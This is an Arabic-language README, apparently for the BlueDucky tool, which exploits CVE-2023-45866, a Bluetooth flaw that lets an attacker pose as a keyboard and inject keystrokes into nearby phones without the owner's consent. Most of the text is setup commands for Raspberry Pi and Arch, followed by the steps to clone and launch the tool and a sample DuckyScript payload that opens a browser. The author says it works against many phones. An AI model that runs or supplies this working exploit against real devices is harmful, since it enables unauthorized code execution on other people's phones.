
يستغل BlueDucky ثغرة أمنية في البلوتوث، وتحديداً CVE-2023-45866، والتي تسمح للمهاجم بحقن ضغطات المفاتيح في الجهاز المستهدف. ينتحل جهاز المهاجم صفة لوحة مفاتيح بلوتوث لإنشاء اتصال مشفّر دون إذن المستخدم. تعمل أداة BlueDucky على أتمتة هذه العملية.
شكرًا لجميع الأشخاص في HackNexus. تأكد من الانضمام إلينا على VC! https://discord.gg/HackNexus
ملاحظات: لن أتمكن من تشغيل هذا على جهاز كمبيوتر محمول أو أي جهاز آخر خارج Raspberry Pi للاختبار. وبسبب ذلك، يجب حل أي مشاكل تواجهونها فيما بينكم لأنني لا أملك أموالًا إضافية لشراء محول.
🚨 CVE-2023-45866 - تنفيذ BlueDucky (باستخدام DuckyScript)
🔓 اقتران غير موثّق يؤدي إلى تنفيذ كود (باستخدام لوحة مفاتيح HID)
هذا تنفيذ للثغرة CVE التي اكتشفها marcnewlin
BlueDucky هي أداة قوية لاستغلال ثغرة في أجهزة Bluetooth. بتشغيل هذا السكربت، يمكنك:
لقد نجحت في تشغيل هذا على Raspberry Pi 4 باستخدام وحدة Bluetooth الافتراضية. إنه يعمل ضد العديد من الهواتف، مع استثناء مثير للاهتمام لعلامة تجارية من نيوزيلندا، وهي Vodafone.
# update apt
sudo apt-get update
sudo apt-get -y upgrade
# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
git gcc python3-pip python3-setuptools \
python3-pydbus
# install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/
# update pacman & packages
sudo pacman -Syyu
# install dependencies
# since arch doesn't separate lib packages: libbluetooth-dev included in bluez package
sudo pacman -S bluez-tools bluez-utils bluez-deprecated-tools \
python-setuptools python-pydbus python-dbus
git gcc python-pip \
# install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/
git clone https://github.com/pentestfunctions/BlueDucky.git
cd BlueDucky
sudo hciconfig hci0 up
python3 BlueDucky.py
بدلاً من ذلك،
pip3 install -r requirements.txt
🚧 العمل قيد التقدم:
REM Title of the payload
STRING ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890!@#$%^&*()_-=+\|[{]};:'",<.>/?
GUI D
REM Opens a private browser to hackertyper.net
DELAY 200
ESCAPE
GUI d
ALT ESCAPE
GUI b
DELAY 700
REM PRIVATE_BROWSER is equal to CTRL + SHIFT + N
PRIVATE_BROWSER
DELAY 700
CTRL l
DELAY 300
STRING hackertyper.net
DELAY 300
ENTER
DELAY 300